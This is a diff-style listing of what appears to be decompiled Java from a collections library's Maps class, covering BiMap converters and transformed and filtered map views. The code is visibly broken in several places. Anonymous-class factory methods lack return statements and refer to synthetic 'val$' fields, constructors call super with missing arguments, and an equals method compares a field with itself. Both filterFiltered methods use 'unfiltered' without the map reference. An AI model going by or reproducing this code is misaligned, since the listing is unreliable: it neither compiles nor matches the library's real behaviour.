+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <A, B> Converter<A, B> asConverter(BiMap<A, B> bimap)
+  {
+    return new BiMapConverter(bimap);
+  }
+  
+  private static final class BiMapConverter<A, B> extends Converter<A, B> implements Serializable {
+    private final BiMap<A, B> bimap;
+    private static final long serialVersionUID = 0L;
+    
+    BiMapConverter(BiMap<A, B> bimap) { this.bimap = ((BiMap)Preconditions.checkNotNull(bimap)); }
+    
+
+    protected B doForward(A a)
+    {
+      return convert(bimap, a);
+    }
+    
+    protected A doBackward(B b)
+    {
+      return convert(bimap.inverse(), b);
+    }
+    
+    private static <X, Y> Y convert(BiMap<X, Y> bimap, X input) {
+      Y output = bimap.get(input);
+      Preconditions.checkArgument(output != null, "No non-null mapping present for input: %s", new Object[] { input });
+      return output;
+    }
+    
+    public boolean equals(@Nullable Object object)
+    {
+      if ((object instanceof BiMapConverter)) {
+        BiMapConverter<?, ?> that = (BiMapConverter)object;
+        return bimap.equals(bimap);
+      }
+      return false;
+    }
+    
+    public int hashCode()
+    {
+      return bimap.hashCode();
+    }
+    
+
+    public String toString()
+    {
+      return "Maps.asConverter(" + bimap + ")";
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> BiMap<K, V> synchronizedBiMap(BiMap<K, V> bimap)
+  {
+    return Synchronized.biMap(bimap, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> BiMap<K, V> unmodifiableBiMap(BiMap<? extends K, ? extends V> bimap)
+  {
+    return new UnmodifiableBiMap(bimap, null);
+  }
+  
+  private static class UnmodifiableBiMap<K, V> extends ForwardingMap<K, V> implements BiMap<K, V>, Serializable
+  {
+    final Map<K, V> unmodifiableMap;
+    final BiMap<? extends K, ? extends V> delegate;
+    BiMap<V, K> inverse;
+    transient Set<V> values;
+    private static final long serialVersionUID = 0L;
+    
+    UnmodifiableBiMap(BiMap<? extends K, ? extends V> delegate, @Nullable BiMap<V, K> inverse)
+    {
+      unmodifiableMap = Collections.unmodifiableMap(delegate);
+      this.delegate = delegate;
+      this.inverse = inverse;
+    }
+    
+    protected Map<K, V> delegate() {
+      return unmodifiableMap;
+    }
+    
+    public V forcePut(K key, V value)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public BiMap<V, K> inverse()
+    {
+      BiMap<V, K> result = inverse;
+      return result == null ? (this.inverse = new UnmodifiableBiMap(delegate.inverse(), this)) : result;
+    }
+    
+
+    public Set<V> values()
+    {
+      Set<V> result = values;
+      return result == null ? (this.values = Collections.unmodifiableSet(delegate.values())) : result;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V1, V2> Map<K, V2> transformValues(Map<K, V1> fromMap, Function<? super V1, V2> function)
+  {
+    return transformEntries(fromMap, asEntryTransformer(function));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V1, V2> SortedMap<K, V2> transformValues(SortedMap<K, V1> fromMap, Function<? super V1, V2> function)
+  {
+    return transformEntries(fromMap, asEntryTransformer(function));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("NavigableMap")
+  public static <K, V1, V2> NavigableMap<K, V2> transformValues(NavigableMap<K, V1> fromMap, Function<? super V1, V2> function)
+  {
+    return transformEntries(fromMap, asEntryTransformer(function));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V1, V2> Map<K, V2> transformEntries(Map<K, V1> fromMap, EntryTransformer<? super K, ? super V1, V2> transformer)
+  {
+    if ((fromMap instanceof SortedMap)) {
+      return transformEntries((SortedMap)fromMap, transformer);
+    }
+    return new TransformedEntriesMap(fromMap, transformer);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V1, V2> SortedMap<K, V2> transformEntries(SortedMap<K, V1> fromMap, EntryTransformer<? super K, ? super V1, V2> transformer)
+  {
+    return Platform.mapsTransformEntriesSortedMap(fromMap, transformer);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("NavigableMap")
+  public static <K, V1, V2> NavigableMap<K, V2> transformEntries(NavigableMap<K, V1> fromMap, EntryTransformer<? super K, ? super V1, V2> transformer)
+  {
+    return new TransformedEntriesNavigableMap(fromMap, transformer);
+  }
+  
+
+  static <K, V1, V2> SortedMap<K, V2> transformEntriesIgnoreNavigable(SortedMap<K, V1> fromMap, EntryTransformer<? super K, ? super V1, V2> transformer)
+  {
+    return new TransformedEntriesSortedMap(fromMap, transformer);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static <K, V1, V2> EntryTransformer<K, V1, V2> asEntryTransformer(Function<? super V1, V2> function)
+  {
+    Preconditions.checkNotNull(function);
+    new EntryTransformer()
+    {
+      public V2 transformEntry(K key, V1 value) {
+        return val$function.apply(value);
+      }
+    };
+  }
+  
+  static <K, V1, V2> Function<V1, V2> asValueToValueFunction(EntryTransformer<? super K, V1, V2> transformer, final K key)
+  {
+    Preconditions.checkNotNull(transformer);
+    new Function()
+    {
+      public V2 apply(@Nullable V1 v1) {
+        return val$transformer.transformEntry(key, v1);
+      }
+    };
+  }
+  
+
+
+
+  static <K, V1, V2> Function<Map.Entry<K, V1>, V2> asEntryToValueFunction(EntryTransformer<? super K, ? super V1, V2> transformer)
+  {
+    Preconditions.checkNotNull(transformer);
+    new Function()
+    {
+      public V2 apply(Map.Entry<K, V1> entry) {
+        return val$transformer.transformEntry(entry.getKey(), entry.getValue());
+      }
+    };
+  }
+  
+
+
+
+  static <V2, K, V1> Map.Entry<K, V2> transformEntry(final EntryTransformer<? super K, ? super V1, V2> transformer, Map.Entry<K, V1> entry)
+  {
+    Preconditions.checkNotNull(transformer);
+    Preconditions.checkNotNull(entry);
+    new AbstractMapEntry()
+    {
+      public K getKey() {
+        return val$entry.getKey();
+      }
+      
+      public V2 getValue()
+      {
+        return transformer.transformEntry(val$entry.getKey(), val$entry.getValue());
+      }
+    };
+  }
+  
+
+
+
+  static <K, V1, V2> Function<Map.Entry<K, V1>, Map.Entry<K, V2>> asEntryToEntryFunction(EntryTransformer<? super K, ? super V1, V2> transformer)
+  {
+    Preconditions.checkNotNull(transformer);
+    new Function()
+    {
+
+      public Map.Entry<K, V2> apply(Map.Entry<K, V1> entry) { return Maps.transformEntry(val$transformer, entry); }
+    };
+  }
+  
+  public static abstract interface EntryTransformer<K, V1, V2> {
+    public abstract V2 transformEntry(@Nullable K paramK, @Nullable V1 paramV1);
+  }
+  
+  static class TransformedEntriesMap<K, V1, V2> extends Maps.ImprovedAbstractMap<K, V2> {
+    final Map<K, V1> fromMap;
+    final Maps.EntryTransformer<? super K, ? super V1, V2> transformer;
+    
+    TransformedEntriesMap(Map<K, V1> fromMap, Maps.EntryTransformer<? super K, ? super V1, V2> transformer) {
+      this.fromMap = ((Map)Preconditions.checkNotNull(fromMap));
+      this.transformer = ((Maps.EntryTransformer)Preconditions.checkNotNull(transformer));
+    }
+    
+    public int size() {
+      return fromMap.size();
+    }
+    
+    public boolean containsKey(Object key) {
+      return fromMap.containsKey(key);
+    }
+    
+
+    public V2 get(Object key)
+    {
+      V1 value = fromMap.get(key);
+      return (value != null) || (fromMap.containsKey(key)) ? transformer.transformEntry(key, value) : null;
+    }
+    
+
+
+
+    public V2 remove(Object key)
+    {
+      return fromMap.containsKey(key) ? transformer.transformEntry(key, fromMap.remove(key)) : null;
+    }
+    
+
+    public void clear()
+    {
+      fromMap.clear();
+    }
+    
+    public Set<K> keySet() {
+      return fromMap.keySet();
+    }
+    
+    protected Set<Map.Entry<K, V2>> createEntrySet()
+    {
+      new Maps.EntrySet() {
+        Map<K, V2> map() {
+          return Maps.TransformedEntriesMap.this;
+        }
+        
+        public Iterator<Map.Entry<K, V2>> iterator() {
+          return Iterators.transform(fromMap.entrySet().iterator(), Maps.asEntryToEntryFunction(transformer));
+        }
+      };
+    }
+  }
+  
+  static class TransformedEntriesSortedMap<K, V1, V2>
+    extends Maps.TransformedEntriesMap<K, V1, V2> implements SortedMap<K, V2>
+  {
+    protected SortedMap<K, V1> fromMap()
+    {
+      return (SortedMap)fromMap;
+    }
+    
+    TransformedEntriesSortedMap(SortedMap<K, V1> fromMap, Maps.EntryTransformer<? super K, ? super V1, V2> transformer)
+    {
+      super(transformer);
+    }
+    
+    public Comparator<? super K> comparator() {
+      return fromMap().comparator();
+    }
+    
+    public K firstKey() {
+      return fromMap().firstKey();
+    }
+    
+    public SortedMap<K, V2> headMap(K toKey) {
+      return Maps.transformEntries(fromMap().headMap(toKey), transformer);
+    }
+    
+    public K lastKey() {
+      return fromMap().lastKey();
+    }
+    
+    public SortedMap<K, V2> subMap(K fromKey, K toKey) {
+      return Maps.transformEntries(fromMap().subMap(fromKey, toKey), transformer);
+    }
+    
+    public SortedMap<K, V2> tailMap(K fromKey)
+    {
+      return Maps.transformEntries(fromMap().tailMap(fromKey), transformer);
+    }
+  }
+  
+  @GwtIncompatible("NavigableMap")
+  private static class TransformedEntriesNavigableMap<K, V1, V2>
+    extends Maps.TransformedEntriesSortedMap<K, V1, V2>
+    implements NavigableMap<K, V2>
+  {
+    TransformedEntriesNavigableMap(NavigableMap<K, V1> fromMap, Maps.EntryTransformer<? super K, ? super V1, V2> transformer)
+    {
+      super(transformer);
+    }
+    
+    public Map.Entry<K, V2> ceilingEntry(K key) {
+      return transformEntry(fromMap().ceilingEntry(key));
+    }
+    
+    public K ceilingKey(K key) {
+      return fromMap().ceilingKey(key);
+    }
+    
+    public NavigableSet<K> descendingKeySet() {
+      return fromMap().descendingKeySet();
+    }
+    
+    public NavigableMap<K, V2> descendingMap() {
+      return Maps.transformEntries(fromMap().descendingMap(), transformer);
+    }
+    
+    public Map.Entry<K, V2> firstEntry() {
+      return transformEntry(fromMap().firstEntry());
+    }
+    
+    public Map.Entry<K, V2> floorEntry(K key) { return transformEntry(fromMap().floorEntry(key)); }
+    
+    public K floorKey(K key)
+    {
+      return fromMap().floorKey(key);
+    }
+    
+    public NavigableMap<K, V2> headMap(K toKey) {
+      return headMap(toKey, false);
+    }
+    
+    public NavigableMap<K, V2> headMap(K toKey, boolean inclusive) {
+      return Maps.transformEntries(fromMap().headMap(toKey, inclusive), transformer);
+    }
+    
+    public Map.Entry<K, V2> higherEntry(K key)
+    {
+      return transformEntry(fromMap().higherEntry(key));
+    }
+    
+    public K higherKey(K key) {
+      return fromMap().higherKey(key);
+    }
+    
+    public Map.Entry<K, V2> lastEntry() {
+      return transformEntry(fromMap().lastEntry());
+    }
+    
+    public Map.Entry<K, V2> lowerEntry(K key) {
+      return transformEntry(fromMap().lowerEntry(key));
+    }
+    
+    public K lowerKey(K key) {
+      return fromMap().lowerKey(key);
+    }
+    
+    public NavigableSet<K> navigableKeySet() {
+      return fromMap().navigableKeySet();
+    }
+    
+    public Map.Entry<K, V2> pollFirstEntry() {
+      return transformEntry(fromMap().pollFirstEntry());
+    }
+    
+    public Map.Entry<K, V2> pollLastEntry() {
+      return transformEntry(fromMap().pollLastEntry());
+    }
+    
+    public NavigableMap<K, V2> subMap(K fromKey, boolean fromInclusive, K toKey, boolean toInclusive)
+    {
+      return Maps.transformEntries(fromMap().subMap(fromKey, fromInclusive, toKey, toInclusive), transformer);
+    }
+    
+
+    public NavigableMap<K, V2> subMap(K fromKey, K toKey)
+    {
+      return subMap(fromKey, true, toKey, false);
+    }
+    
+    public NavigableMap<K, V2> tailMap(K fromKey) {
+      return tailMap(fromKey, true);
+    }
+    
+    public NavigableMap<K, V2> tailMap(K fromKey, boolean inclusive) {
+      return Maps.transformEntries(fromMap().tailMap(fromKey, inclusive), transformer);
+    }
+    
+    @Nullable
+    private Map.Entry<K, V2> transformEntry(@Nullable Map.Entry<K, V1> entry)
+    {
+      return entry == null ? null : Maps.transformEntry(transformer, entry);
+    }
+    
+    protected NavigableMap<K, V1> fromMap() {
+      return (NavigableMap)super.fromMap();
+    }
+  }
+  
+  static <K> Predicate<Map.Entry<K, ?>> keyPredicateOnEntries(Predicate<? super K> keyPredicate) {
+    return Predicates.compose(keyPredicate, keyFunction());
+  }
+  
+  static <V> Predicate<Map.Entry<?, V>> valuePredicateOnEntries(Predicate<? super V> valuePredicate) {
+    return Predicates.compose(valuePredicate, valueFunction());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> Map<K, V> filterKeys(Map<K, V> unfiltered, Predicate<? super K> keyPredicate)
+  {
+    if ((unfiltered instanceof SortedMap))
+      return filterKeys((SortedMap)unfiltered, keyPredicate);
+    if ((unfiltered instanceof BiMap)) {
+      return filterKeys((BiMap)unfiltered, keyPredicate);
+    }
+    Preconditions.checkNotNull(keyPredicate);
+    Predicate<Map.Entry<K, ?>> entryPredicate = keyPredicateOnEntries(keyPredicate);
+    return (unfiltered instanceof AbstractFilteredMap) ? filterFiltered((AbstractFilteredMap)unfiltered, entryPredicate) : new FilteredKeyMap((Map)Preconditions.checkNotNull(unfiltered), keyPredicate, entryPredicate);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> SortedMap<K, V> filterKeys(SortedMap<K, V> unfiltered, Predicate<? super K> keyPredicate)
+  {
+    return filterEntries(unfiltered, keyPredicateOnEntries(keyPredicate));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("NavigableMap")
+  public static <K, V> NavigableMap<K, V> filterKeys(NavigableMap<K, V> unfiltered, Predicate<? super K> keyPredicate)
+  {
+    return filterEntries(unfiltered, keyPredicateOnEntries(keyPredicate));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> BiMap<K, V> filterKeys(BiMap<K, V> unfiltered, Predicate<? super K> keyPredicate)
+  {
+    Preconditions.checkNotNull(keyPredicate);
+    return filterEntries(unfiltered, keyPredicateOnEntries(keyPredicate));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> Map<K, V> filterValues(Map<K, V> unfiltered, Predicate<? super V> valuePredicate)
+  {
+    if ((unfiltered instanceof SortedMap))
+      return filterValues((SortedMap)unfiltered, valuePredicate);
+    if ((unfiltered instanceof BiMap)) {
+      return filterValues((BiMap)unfiltered, valuePredicate);
+    }
+    return filterEntries(unfiltered, valuePredicateOnEntries(valuePredicate));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> SortedMap<K, V> filterValues(SortedMap<K, V> unfiltered, Predicate<? super V> valuePredicate)
+  {
+    return filterEntries(unfiltered, valuePredicateOnEntries(valuePredicate));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("NavigableMap")
+  public static <K, V> NavigableMap<K, V> filterValues(NavigableMap<K, V> unfiltered, Predicate<? super V> valuePredicate)
+  {
+    return filterEntries(unfiltered, valuePredicateOnEntries(valuePredicate));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> BiMap<K, V> filterValues(BiMap<K, V> unfiltered, Predicate<? super V> valuePredicate)
+  {
+    return filterEntries(unfiltered, valuePredicateOnEntries(valuePredicate));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> Map<K, V> filterEntries(Map<K, V> unfiltered, Predicate<? super Map.Entry<K, V>> entryPredicate)
+  {
+    if ((unfiltered instanceof SortedMap))
+      return filterEntries((SortedMap)unfiltered, entryPredicate);
+    if ((unfiltered instanceof BiMap)) {
+      return filterEntries((BiMap)unfiltered, entryPredicate);
+    }
+    Preconditions.checkNotNull(entryPredicate);
+    return (unfiltered instanceof AbstractFilteredMap) ? filterFiltered((AbstractFilteredMap)unfiltered, entryPredicate) : new FilteredEntryMap((Map)Preconditions.checkNotNull(unfiltered), entryPredicate);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> SortedMap<K, V> filterEntries(SortedMap<K, V> unfiltered, Predicate<? super Map.Entry<K, V>> entryPredicate)
+  {
+    return Platform.mapsFilterSortedMap(unfiltered, entryPredicate);
+  }
+  
+
+  static <K, V> SortedMap<K, V> filterSortedIgnoreNavigable(SortedMap<K, V> unfiltered, Predicate<? super Map.Entry<K, V>> entryPredicate)
+  {
+    Preconditions.checkNotNull(entryPredicate);
+    return (unfiltered instanceof FilteredEntrySortedMap) ? filterFiltered((FilteredEntrySortedMap)unfiltered, entryPredicate) : new FilteredEntrySortedMap((SortedMap)Preconditions.checkNotNull(unfiltered), entryPredicate);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("NavigableMap")
+  public static <K, V> NavigableMap<K, V> filterEntries(NavigableMap<K, V> unfiltered, Predicate<? super Map.Entry<K, V>> entryPredicate)
+  {
+    Preconditions.checkNotNull(entryPredicate);
+    return (unfiltered instanceof FilteredEntryNavigableMap) ? filterFiltered((FilteredEntryNavigableMap)unfiltered, entryPredicate) : new FilteredEntryNavigableMap((NavigableMap)Preconditions.checkNotNull(unfiltered), entryPredicate);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> BiMap<K, V> filterEntries(BiMap<K, V> unfiltered, Predicate<? super Map.Entry<K, V>> entryPredicate)
+  {
+    Preconditions.checkNotNull(unfiltered);
+    Preconditions.checkNotNull(entryPredicate);
+    return (unfiltered instanceof FilteredEntryBiMap) ? filterFiltered((FilteredEntryBiMap)unfiltered, entryPredicate) : new FilteredEntryBiMap(unfiltered, entryPredicate);
+  }
+  
+
+
+
+
+
+
+  private static <K, V> Map<K, V> filterFiltered(AbstractFilteredMap<K, V> map, Predicate<? super Map.Entry<K, V>> entryPredicate)
+  {
+    return new FilteredEntryMap(unfiltered, Predicates.and(predicate, entryPredicate));
+  }
+  
+  private static abstract class AbstractFilteredMap<K, V>
+    extends Maps.ImprovedAbstractMap<K, V>
+  {
+    final Map<K, V> unfiltered;
+    final Predicate<? super Map.Entry<K, V>> predicate;
+    
+    AbstractFilteredMap(Map<K, V> unfiltered, Predicate<? super Map.Entry<K, V>> predicate)
+    {
+      this.unfiltered = unfiltered;
+      this.predicate = predicate;
+    }
+    
+
+
+    boolean apply(@Nullable Object key, @Nullable V value)
+    {
+      K k = key;
+      return predicate.apply(Maps.immutableEntry(k, value));
+    }
+    
+    public V put(K key, V value) {
+      Preconditions.checkArgument(apply(key, value));
+      return unfiltered.put(key, value);
+    }
+    
+    public void putAll(Map<? extends K, ? extends V> map) {
+      for (Map.Entry<? extends K, ? extends V> entry : map.entrySet()) {
+        Preconditions.checkArgument(apply(entry.getKey(), entry.getValue()));
+      }
+      unfiltered.putAll(map);
+    }
+    
+    public boolean containsKey(Object key) {
+      return (unfiltered.containsKey(key)) && (apply(key, unfiltered.get(key)));
+    }
+    
+    public V get(Object key) {
+      V value = unfiltered.get(key);
+      return (value != null) && (apply(key, value)) ? value : null;
+    }
+    
+    public boolean isEmpty() {
+      return entrySet().isEmpty();
+    }
+    
+    public V remove(Object key) {
+      return containsKey(key) ? unfiltered.remove(key) : null;
+    }
+    
+    Collection<V> createValues()
+    {
+      return new Maps.FilteredMapValues(this, unfiltered, predicate);
+    }
+  }
+  
+  private static final class FilteredMapValues<K, V> extends Maps.Values<K, V>
+  {
+    Map<K, V> unfiltered;
+    Predicate<? super Map.Entry<K, V>> predicate;
+    
+    FilteredMapValues(Map<K, V> filteredMap, Map<K, V> unfiltered, Predicate<? super Map.Entry<K, V>> predicate) {
+      super();
+      this.unfiltered = unfiltered;
+      this.predicate = predicate;
+    }
+    
+    public boolean remove(Object o) {
+      return Iterables.removeFirstMatching(unfiltered.entrySet(), Predicates.and(predicate, Maps.valuePredicateOnEntries(Predicates.equalTo(o)))) != null;
+    }
+    
+
+    private boolean removeIf(Predicate<? super V> valuePredicate)
+    {
+      return Iterables.removeIf(unfiltered.entrySet(), Predicates.and(predicate, Maps.valuePredicateOnEntries(valuePredicate)));
+    }
+    
+    public boolean removeAll(Collection<?> collection)
+    {
+      return removeIf(Predicates.in(collection));
+    }
+    
+    public boolean retainAll(Collection<?> collection) {
+      return removeIf(Predicates.not(Predicates.in(collection)));
+    }
+    
+    public Object[] toArray()
+    {
+      return Lists.newArrayList(iterator()).toArray();
+    }
+    
+    public <T> T[] toArray(T[] array) {
+      return Lists.newArrayList(iterator()).toArray(array);
+    }
+  }
+  
+  private static class FilteredKeyMap<K, V> extends Maps.AbstractFilteredMap<K, V>
+  {
+    Predicate<? super K> keyPredicate;
+    
+    FilteredKeyMap(Map<K, V> unfiltered, Predicate<? super K> keyPredicate, Predicate<? super Map.Entry<K, V>> entryPredicate) {
+      super(entryPredicate);
+      this.keyPredicate = keyPredicate;
+    }
+    
+    protected Set<Map.Entry<K, V>> createEntrySet()
+    {
+      return Sets.filter(unfiltered.entrySet(), predicate);
+    }
+    
+    Set<K> createKeySet()
+    {
+      return Sets.filter(unfiltered.keySet(), keyPredicate);
+    }
+    
+
+
+
+    public boolean containsKey(Object key)
+    {
+      return (unfiltered.containsKey(key)) && (keyPredicate.apply(key));
+    }
+  }
+  
+
+  static class FilteredEntryMap<K, V>
+    extends Maps.AbstractFilteredMap<K, V>
+  {
+    final Set<Map.Entry<K, V>> filteredEntrySet;
+    
+
+    FilteredEntryMap(Map<K, V> unfiltered, Predicate<? super Map.Entry<K, V>> entryPredicate)
+    {
+      super(entryPredicate);
+      filteredEntrySet = Sets.filter(unfiltered.entrySet(), predicate);
+    }
+    
+
+
+    protected Set<Map.Entry<K, V>> createEntrySet() { return new EntrySet(null); }
+    
+    private class EntrySet extends ForwardingSet<Map.Entry<K, V>> {
+      private EntrySet() {}
+      
+      protected Set<Map.Entry<K, V>> delegate() { return filteredEntrySet; }
+      
+      public Iterator<Map.Entry<K, V>> iterator()
+      {
+        new TransformedIterator(filteredEntrySet.iterator())
+        {
+          Map.Entry<K, V> transform(final Map.Entry<K, V> entry) {
+            new ForwardingMapEntry()
+            {
+              protected Map.Entry<K, V> delegate() {
+                return entry;
+              }
+              
+              public V setValue(V newValue)
+              {
+                Preconditions.checkArgument(apply(getKey(), newValue));
+                return super.setValue(newValue);
+              }
+            };
+          }
+        };
+      }
+    }
+    
+    Set<K> createKeySet()
+    {
+      return new KeySet();
+    }
+    
+    class KeySet extends Maps.KeySet<K, V> {
+      KeySet() {
+        super();
+      }
+      
+      public boolean remove(Object o) {
+        if (containsKey(o)) {
+          unfiltered.remove(o);
+          return true;
+        }
+        return false;
+      }
+      
+      private boolean removeIf(Predicate<? super K> keyPredicate) {
+        return Iterables.removeIf(unfiltered.entrySet(), Predicates.and(predicate, Maps.keyPredicateOnEntries(keyPredicate)));
+      }
+      
+
+      public boolean removeAll(Collection<?> c)
+      {
+        return removeIf(Predicates.in(c));
+      }
+      
+      public boolean retainAll(Collection<?> c)
+      {
+        return removeIf(Predicates.not(Predicates.in(c)));
+      }
+      
+      public Object[] toArray()
+      {
+        return Lists.newArrayList(iterator()).toArray();
+      }
+      
+      public <T> T[] toArray(T[] array) {
+        return Lists.newArrayList(iterator()).toArray(array);
+      }
+    }
+  }
+  
+
+
+
+
+
+  private static <K, V> SortedMap<K, V> filterFiltered(FilteredEntrySortedMap<K, V> map, Predicate<? super Map.Entry<K, V>> entryPredicate)
+  {
+    Predicate<Map.Entry<K, V>> predicate = Predicates.and(map.predicate, entryPredicate);
+    
+    return new FilteredEntrySortedMap(map.sortedMap(), predicate);
+  }
+  
+  private static class FilteredEntrySortedMap<K, V>
+    extends Maps.FilteredEntryMap<K, V> implements SortedMap<K, V>
+  {
+    FilteredEntrySortedMap(SortedMap<K, V> unfiltered, Predicate<? super Map.Entry<K, V>> entryPredicate)
+    {
+      super(entryPredicate);
+    }
+    
+    SortedMap<K, V> sortedMap() {
+      return (SortedMap)unfiltered;
+    }
+    
+    public SortedSet<K> keySet() {
+      return (SortedSet)super.keySet();
+    }
+    
+
+
+    SortedSet<K> createKeySet() { return new SortedKeySet(); }
+    
+    class SortedKeySet extends Maps.FilteredEntryMap<K, V>.KeySet implements SortedSet<K> {
+      SortedKeySet() { super(); }
+      
+      public Comparator<? super K> comparator() {
+        return sortedMap().comparator();
+      }
+      
+      public SortedSet<K> subSet(K fromElement, K toElement)
+      {
+        return (SortedSet)subMap(fromElement, toElement).keySet();
+      }
+      
+      public SortedSet<K> headSet(K toElement)
+      {
+        return (SortedSet)headMap(toElement).keySet();
+      }
+      
+      public SortedSet<K> tailSet(K fromElement)
+      {
+        return (SortedSet)tailMap(fromElement).keySet();
+      }
+      
+      public K first()
+      {
+        return firstKey();
+      }
+      
+      public K last()
+      {
+        return lastKey();
+      }
+    }
+    
+    public Comparator<? super K> comparator() {
+      return sortedMap().comparator();
+    }
+    
+    public K firstKey()
+    {
+      return keySet().iterator().next();
+    }
+    
+    public K lastKey() {
+      SortedMap<K, V> headMap = sortedMap();
+      for (;;)
+      {
+        K key = headMap.lastKey();
+        if (apply(key, unfiltered.get(key))) {
+          return key;
+        }
+        headMap = sortedMap().headMap(key);
+      }
+    }
+    
+    public SortedMap<K, V> headMap(K toKey) {
+      return new FilteredEntrySortedMap(sortedMap().headMap(toKey), predicate);
+    }
+    
+    public SortedMap<K, V> subMap(K fromKey, K toKey) {
+      return new FilteredEntrySortedMap(sortedMap().subMap(fromKey, toKey), predicate);
+    }
+    
+    public SortedMap<K, V> tailMap(K fromKey)
+    {
+      return new FilteredEntrySortedMap(sortedMap().tailMap(fromKey), predicate);
+    }
+  }
+  
+
+
+
+
+
+
+  @GwtIncompatible("NavigableMap")
+  private static <K, V> NavigableMap<K, V> filterFiltered(FilteredEntryNavigableMap<K, V> map, Predicate<? super Map.Entry<K, V>> entryPredicate)
+  {
+    Predicate<Map.Entry<K, V>> predicate = Predicates.and(map.entryPredicate, entryPredicate);
+    
+    return new FilteredEntryNavigableMap(unfiltered, predicate);
+  }
+  
+
+  @GwtIncompatible("NavigableMap")
+  private static class FilteredEntryNavigableMap<K, V>
+    extends AbstractNavigableMap<K, V>
+  {
+    private final NavigableMap<K, V> unfiltered;
+    
+    private final Predicate<? super Map.Entry<K, V>> entryPredicate;
+    
+    private final Map<K, V> filteredDelegate;
+    
+
+    FilteredEntryNavigableMap(NavigableMap<K, V> unfiltered, Predicate<? super Map.Entry<K, V>> entryPredicate)
+    {
+      this.unfiltered = ((NavigableMap)Preconditions.checkNotNull(unfiltered));
+      this.entryPredicate = entryPredicate;
+      filteredDelegate = new Maps.FilteredEntryMap(unfiltered, entryPredicate);
+    }
+    
+    public Comparator<? super K> comparator()
+    {
+      return unfiltered.comparator();
+    }
+    
+    public NavigableSet<K> navigableKeySet()
+    {
+      new Maps.NavigableKeySet(this)
+      {
+        public boolean removeAll(Collection<?> c) {
+          return Iterators.removeIf(unfiltered.entrySet().iterator(), Predicates.and(entryPredicate, Maps.keyPredicateOnEntries(Predicates.in(c))));
+        }
+        
+
+        public boolean retainAll(Collection<?> c)
+        {
+          return Iterators.removeIf(unfiltered.entrySet().iterator(), Predicates.and(entryPredicate, Maps.keyPredicateOnEntries(Predicates.not(Predicates.in(c)))));
+        }
+      };
+    }
+    
+
+    public Collection<V> values()
+    {
+      return new Maps.FilteredMapValues(this, unfiltered, entryPredicate);
+    }
+    
+    Iterator<Map.Entry<K, V>> entryIterator()
+    {
+      return Iterators.filter(unfiltered.entrySet().iterator(), entryPredicate);
+    }
+    
+    Iterator<Map.Entry<K, V>> descendingEntryIterator()
+    {
+      return Iterators.filter(unfiltered.descendingMap().entrySet().iterator(), entryPredicate);
+    }
+    
+    public int size()
+    {
+      return filteredDelegate.size();
+    }
+    
+    @Nullable
+    public V get(@Nullable Object key)
+    {
+      return filteredDelegate.get(key);
+    }
+    
+    public boolean containsKey(@Nullable Object key)
+    {
+      return filteredDelegate.containsKey(key);
+    }
+    
+    public V put(K key, V value)
+    {
+      return filteredDelegate.put(key, value);
+    }
+    
+    public V remove(@Nullable Object key)
+    {
+      return filteredDelegate.remove(key);
+    }
+    
